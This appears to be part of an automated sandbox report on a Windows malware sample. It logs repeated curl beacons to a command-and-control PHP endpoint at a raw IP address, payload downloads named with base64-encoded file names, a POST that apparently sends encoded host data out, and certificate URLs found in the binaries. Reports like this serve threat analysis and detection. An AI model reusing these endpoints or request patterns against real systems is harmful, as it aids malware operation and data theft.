Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=35&xvgj=eGh3cS56aXA%3D HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=31 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=7 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=10&melq=1 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=35&xvgj=UmV2ZW51ZURldmljZXMuZXhl HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?gi HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=33&jwvs=9A5605DE11447A0E2031624EE8FBDE HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=3&jwvs=9A5605DE11447A0E2031624EE8FBDE&vprl=2 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=1&jwvs=9A5605DE11447A0E2031624EE8FBDE&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?gi HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=1&jwvs=9A5605DE11447A0E2031624EE8FBDE&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=3&jwvs=9A5605DE11447A0E2031624EE8FBDE&vprl=2 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=1&jwvs=9A5605DE11447A0E2031624EE8FBDE&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=1&jwvs=9A5605DE11447A0E2031624EE8FBDE&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=1&jwvs=9A5605DE11447A0E2031624EE8FBDE&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.252User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=1&jwvs=9A5605DE11447A0E2031624EE8FBDE&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=1&jwvs=9A5605DE11447A0E2031624EE8FBDE&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=1&jwvs=9A5605DE11447A0E2031624EE8FBDE&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=1&jwvs=9A5605DE11447A0E2031624EE8FBDE&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=1&jwvs=9A5605DE11447A0E2031624EE8FBDE&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=1&jwvs=9A5605DE11447A0E2031624EE8FBDE&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=1&jwvs=9A5605DE11447A0E2031624EE8FBDE&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=1&jwvs=9A5605DE11447A0E2031624EE8FBDE&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=35&xvgj=cXl1cC56aXA%3D HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=1&jwvs=9A5605DE11447A0E2031624EE8FBDE&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=1&jwvs=9A5605DE11447A0E2031624EE8FBDE&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=8 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=2021&jwvs=9A5605DE11447A0E2031624EE8FBDE HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=1&jwvs=9A5605DE11447A0E2031624EE8FBDE&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=1&jwvs=9A5605DE11447A0E2031624EE8FBDE&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=1&jwvs=9A5605DE11447A0E2031624EE8FBDE&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=1&jwvs=9A5605DE11447A0E2031624EE8FBDE&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=3002&melq=e3ad1d0b2449c169e66efe472513a3776&jwvs=9A5605DE11447A0E2031624EE8FBDE HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /*
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=1&jwvs=9A5605DE11447A0E2031624EE8FBDE&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=6 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=2016&jwvs=9A5605DE11447A0E2031624EE8FBDE&bsxa=1 HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /v10/ukyh.php?jspo=1&jwvs=9A5605DE11447A0E2031624EE8FBDE&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1Host: 178.215.224.74User-Agent: curl/7.83.1Accept: /

Source: global traffic

DNS traffic detected: DNS query: mCpLognXwrhUlFWj.mCpLognXwrhUlFWj

Source: unknown

HTTP traffic detected: POST /v10/ukyh.php HTTP/1.1Accept: text/*Content-Type: application/x-www-form-urlencoded; charset=utf-8User-Agent: Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.04 (jaunty) Firefox/3.5Host: 178.215.224.74Content-Length: 625Cache-Control: no-cacheData Raw: 6a 73 70 6f 3d 33 34 26 6a 77 76 73 3d 39 41 35 36 30 35 44 45 31 31 34 34 37 41 30 45 32 30 33 31 36 32 34 45 45 38 46 42 44 45 26 6d 65 6c 71 3d 4d 54 41 77 4b 44 6b 79 4d 6a 45 38 4b 45 45 79 58 46 64 78 5a 33 42 78 58 6d 70 74 5a 6d 31 78 58 6b 46 79 63 45 52 68 64 47 46 63 55 47 64 6a 62 57 6c 75 5a 56 35 45 62 32 35 77 61 47 6c 73 52 48 31 74 63 6e 46 63 4d 6a 73 79 4d 6a 4a 48 4d 6a 49 76 4d 6b 4d 77 4d 43 38 38 4e 7a 45 7a 4a 54 51 78 53 6a 6c 5a 51 6c 38 7a 4d 6a 49 71 4d 7a 67 34 4f 7a 45 71 64 57 6c 75 5a 47 39 33 63 79 4a 73 5a 32 5a 6c 62 6d 5a 6e 63 6c 74 43 58 54 45 77 4d 69 6f 35 4d 44 49 7a 4d 43 6f 7a 4e 7a 6f 73 4d 44 45 33 4c 44 41 79 4e 43 34 77 50 54 42 62 51 46 55 7a 4d 6a 67 71 4d 7a 49 79 4d 7a 41 6f 4d 54 55 77 4a 6a 41 7a 4e 53 77 79 4d 6a 51 75 4e 7a 52 5a 53 46 38 78 4d 44 41 6f 4d 7a 41 77 4d 7a 45 71 4d 54 55 34 4a 6a 49 7a 4e 79 34 79 4d 44 51 73 4e 54 5a 62 51 6c 38 77 4b 6a 49 77 4e 79 4a 42 4f 6c 78 64 63 57 64 36 63 31 35 6f 62 57 78 6e 63 56 78 44 65 48 68 47 59 33 52 6a 58 46 4a 76 59 57 31 70 62 47 39 65 52 47 39 73 63 6d 70 70 62 6b 5a 31 62 58 42 78 58 47 6c 36 64 48 55 75 5a 58 70 6c 57 55 4a 66 4d 54 49 79 4b 44 45 77 4d 44 4d 35 4b 44 45 33 4d 43 77 77 4f 54 55 73 4d 44 41 32 4c 44 55 30 57 55 68 56 4d 43 67 79 4d 6a 55 71 51 7a 70 63 56 58 46 74 63 48 4e 63 61 6d 31 73 5a 58 4e 65 51 58 42 77 52 6d 46 38 59 56 35 51 62 32 46 76 61 57 78 6c 58 6b 52 74 62 6e 4a 6f 61 57 35 47 66 57 39 77 63 31 52 36 61 6e 39 78 4c 48 68 72 63 6c 6c 43 58 54 4d 34 4f 43 67 7a 4d 44 4d 79 4d 79 70 44 4f 6c 78 58 65 32 64 79 63 31 78 6f 62 57 35 6c 63 56 78 42 63 48 4a 45 61 58 52 6a 58 6c 4a 76 59 32 31 72 62 47 56 63 52 6d 31 75 63 47 68 70 62 45 78 33 62 58 42 37 58 6e 70 67 64 33 4d 73 65 47 74 79 57 55 42 66 4f 54 67 79 4b 44 45 79 4d 44 45 78 4b 6a 45 33 4f 69 59 77 4d 54 55 75 4d 44 41 30 4c 6a 55 30 57 30 42 66 Data Ascii: jspo=34&jwvs=9A5605DE11447A0E2031624EE8FBDE&melq=MTAwKDkyMjE8KEEyXFdxZ3BxXmptZm1xXkFycERhdGFcUGdjbWluZV5Eb25waGlsRH1tcnFcMjsyMjJHMjIvMkMwMC88NzEzJTQxSjlZQl8zMjIqMzg4OzEqdWluZG93cyJsZ2ZlbmZncltCXTEwMio5MDIzMCozNzosMDE3LDAyNC4wPTBbQFUzMjgqMzIyMzAoMTUwJjAzNSwyMjQuNzRZSF8xMDAoMzAwMzEqMTU4JjIzNy4yMDQsNTZbQl8wKjIwNyJBOlxdcWd6c15obWxncVxDeHhGY3RjXFJvYW1pbG9eRG9scmppbkZ1bXBxXGl6dHUuZXplWUJfMTIyKDEwMDM5KDE3MCwwOTUsMDA2LDU0WUhVMCgyMjUqQzpcVXFtcHNcam1sZXNeQXBwRmF8YV5Qb2FvaWxlXkRtbnJoaW5GfW9wc1R6an9xLHhrcllCXTM4OCgzMDMyMypDOlxXe2dyc1xobW5lcVxBcHJEaXRjXlJvY21rbGVcRm1ucGhpbEx3bXB7Xnpgd3MseGtyWUBfOTgyKDEyMDExKjE3OiYwMTUuMDA0LjU0W0Bf

Source: azvw.exe, 00000032.00000002.2766534078.0000000000428000.00000004.00000001.01000000.00000007.sdmp	String found in binary or memory: ftp://ftp.info-zip.org/pub/infozip
Source: curl.exe, 00000016.00000002.2522190668.0000000000A38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://178.215.224.252/v10/ukyh
Source: curl.exe, 00000016.00000002.2522190668.0000000000A38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://178.215.224.252/v10/ukyh.php?jspo=6
Source: curl.exe, 00000055.00000002.3021797267.00000000008B8000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000059.00000002.3066064428.0000000003078000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000005E.00000002.3087963888.00000000033F8000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000061.00000002.3106467022.0000000003588000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://178.215.224.74/v10/ukyh.
Source: curl.exe, 00000040.00000002.2846406096.0000000003278000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://178.215.224.74/v10/ukyh.8
Source: curl.exe, 0000005E.00000002.3087963888.00000000033F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://178.215.224.74/v10/ukyh.php?gi
Source: curl.exe, 0000005E.00000002.3087963888.00000000033F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://178.215.224.74/v10/ukyh.php?gi.224.74ur32.dll
Source: curl.exe, 0000004C.00000002.2931976614.00000000032F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://178.215.224.74/v10/ukyh.php?jspo=10&melq=1
Source: curl.exe, 0000004C.00000002.2931976614.00000000032F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://178.215.224.74/v10/ukyh.php?jspo=10&melq=1%
Source: curl.exe, 00000038.00000002.2799649207.00000000009C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://178.215.224.74/v10/ukyh.php?jspo=31
Source: curl.exe, 00000055.00000002.3021797267.00000000008B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://178.215.224.74/v10/ukyh.php?jspo=35&xvgj=UmV2ZW51ZURldml
Source: curl.exe, 00000026.00000002.2666947968.0000000003208000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://178.215.224.74/v10/ukyh.php?jspo=35&xvgj=YXp2dy5leGU%3D
Source: curl.exe, 0000002F.00000002.2756880706.0000000000B98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://178.215.224.74/v10/ukyh.php?jspo=35&xvgj=eGh3cS56aXA%3D
Source: curl.exe, 0000002F.00000002.2756880706.0000000000B98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://178.215.224.74/v10/ukyh.php?jspo=35&xvgj=eGh3cS56aXA%3Db
Source: curl.exe, 0000001D.00000002.2606200469.0000000000C98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://178.215.224.74/v10/ukyh.php?jspo=5
Source: curl.exe, 0000001D.00000002.2606200469.0000000000C98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://178.215.224.74/v10/ukyh.php?jspo=5W5
Source: curl.exe, 00000061.00000002.3106467022.0000000003588000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://178.215.224.74/v10/ukyh.php?jspo=6
Source: curl.exe, 0000004F.00000002.2949097146.0000000000BD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://178.215.224.74/v10/ukyh.php?jspo=6ecur32.dll
Source: curl.exe, 00000023.00000002.2639422420.0000000000898000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://178.215.224.74/v10/ukyh.php?jspo=6ecur32.dllr
Source: curl.exe, 00000046.00000002.2895434106.0000000003548000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://178.215.224.74/v10/ukyh.php?jspo=7
Source: curl.exe, 0000001A.00000002.2589388864.0000000000A38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://178.215.224.74/v10/ukyh.u
Source: vqMMwqCFZQ.exe, RevenueDevices.exe.10.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: vqMMwqCFZQ.exe, RevenueDevices.exe.10.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: vqMMwqCFZQ.exe, RevenueDevices.exe.10.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: vqMMwqCFZQ.exe, RevenueDevices.exe.10.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: vqMMwqCFZQ.exe, 00000000.00000003.1702660616.00000000029C7000.00000004.00000020.00020000.00000000.sdmp, RevenueDevices.exe, 00000056.00000003.3042089063.00000000028C5000.00000004.00000020.00020000.00000000.sdmp, Million.0.dr, Ur.pif.1.dr, Disco.86.dr, Either.pif.90.dr	String found in binary or memory: http://crl.globalsign.com/gs/gstimestampingsha2g2.crl0
Source: vqMMwqCFZQ.exe, 00000000.00000003.1702660616.00000000029C7000.00000004.00000020.00020000.00000000.sdmp, RevenueDevices.exe, 00000056.00000003.3042089063.00000000028C5000.00000004.00000020.00020000.00000000.sdmp, Million.0.dr, Ur.pif.1.dr, Disco.86.dr, Either.pif.90.dr	String found in binary or memory: http://crl.globalsign.com/gscodesignsha2g3.crl0
Source: vqMMwqCFZQ.exe, 00000000.00000003.1702660616.00000000029C7000.00000004.00000020.00020000.00000000.sdmp, RevenueDevices.exe, 00000056.00000003.3042089063.00000000028C5000.00000004.00000020.00020000.00000000.sdmp, Million.0.dr, Ur.pif.1.dr, Disco.86.dr, Either.pif.90.dr	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0c
Source: vqMMwqCFZQ.exe, 00000000.00000003.1702660616.00000000029C7000.00000004.00000020.00020000.00000000.sdmp, RevenueDevices.exe, 00000056.00000003.3042089063.00000000028C5000.00000004.00000020.00020000.00000000.sdmp, Million.0.dr, Ur.pif.1.dr, Disco.86.dr, Either.pif.90.dr	String found in binary or memory: http://crl.globalsign.net/root-r3.crl0
Source: vqMMwqCFZQ.exe, RevenueDevices.exe.10.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: vqMMwqCFZQ.exe, RevenueDevices.exe.10.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: vqMMwqCFZQ.exe, RevenueDevices.exe.10.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: RevenueDevices.exe.10.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: vqMMwqCFZQ.exe, RevenueDevices.exe.10.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: vqMMwqCFZQ.exe, RevenueDevices.exe.10.dr	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: vqMMwqCFZQ.exe, RevenueDevices.exe.10.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: vqMMwqCFZQ.exe, RevenueDevices.exe.10.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: vqMMwqCFZQ.exe, RevenueDevices.exe.10.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: vqMMwqCFZQ.exe, RevenueDevices.exe.10.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: vqMMwqCFZQ.exe, 00000000.00000003.1702660616.00000000029C7000.00000004.00000020.00020000.00000000.sdmp, RevenueDevices.exe, 00000056.00000003.3042089063.00000000028C5000.00000004.00000020.00020000.00000000.sdmp, Million.0.dr, Ur.pif.1.dr, Disco.86.dr, Either.pif.90.dr	String found in binary or memory: http://ocsp2.globalsign.com/gscodesignsha2g30V
Source: vqMMwqCFZQ.exe, 00000000.00000003.1702660616.00000000029C7000.00000004.00000020.00020000.00000000.sdmp, RevenueDevices.exe, 00000056.00000003.3042089063.00000000028C5000.00000004.00000020.00020000.00000000.sdmp, Million.0.dr, Ur.pif.1.dr, Disco.86.dr, Either.pif.90.dr	String found in binary or memory: http://ocsp2.globalsign.com/gstimestampingsha2g20
Source: vqMMwqCFZQ.exe, 00000000.00000003.1702660616.00000000029C7000.00000004.00000020.00020000.00000000.sdmp, RevenueDevices.exe, 00000056.00000003.3042089063.00000000028C5000.00000004.00000020.00020000.00000000.sdmp, Million.0.dr, Ur.pif.1.dr, Disco.86.dr, Either.pif.90.dr	String found in binary or memory: http://ocsp2.globalsign.com/rootr306
Source: vqMMwqCFZQ.exe, 00000000.00000003.1702660616.00000000029C7000.00000004.00000020.00020000.00000000.sdmp, RevenueDevices.exe, 00000056.00000003.3042089063.00000000028C5000.00000004.00000020.00020000.00000000.sdmp, Million.0.dr, Ur.pif.1.dr, Disco.86.dr, Either.pif.90.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gscodesignsha2g3ocsp.crt08
Source: vqMMwqCFZQ.exe, 00000000.00000003.1702660616.00000000029C7000.00000004.00000020.00020000.00000000.sdmp, RevenueDevices.exe, 00000056.00000003.3042089063.00000000028C5000.00000004.00000020.00020000.00000000.sdmp, Million.0.dr, Ur.pif.1.dr, Disco.86.dr, Either.pif.90.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gstimestampingsha2g2.crt0
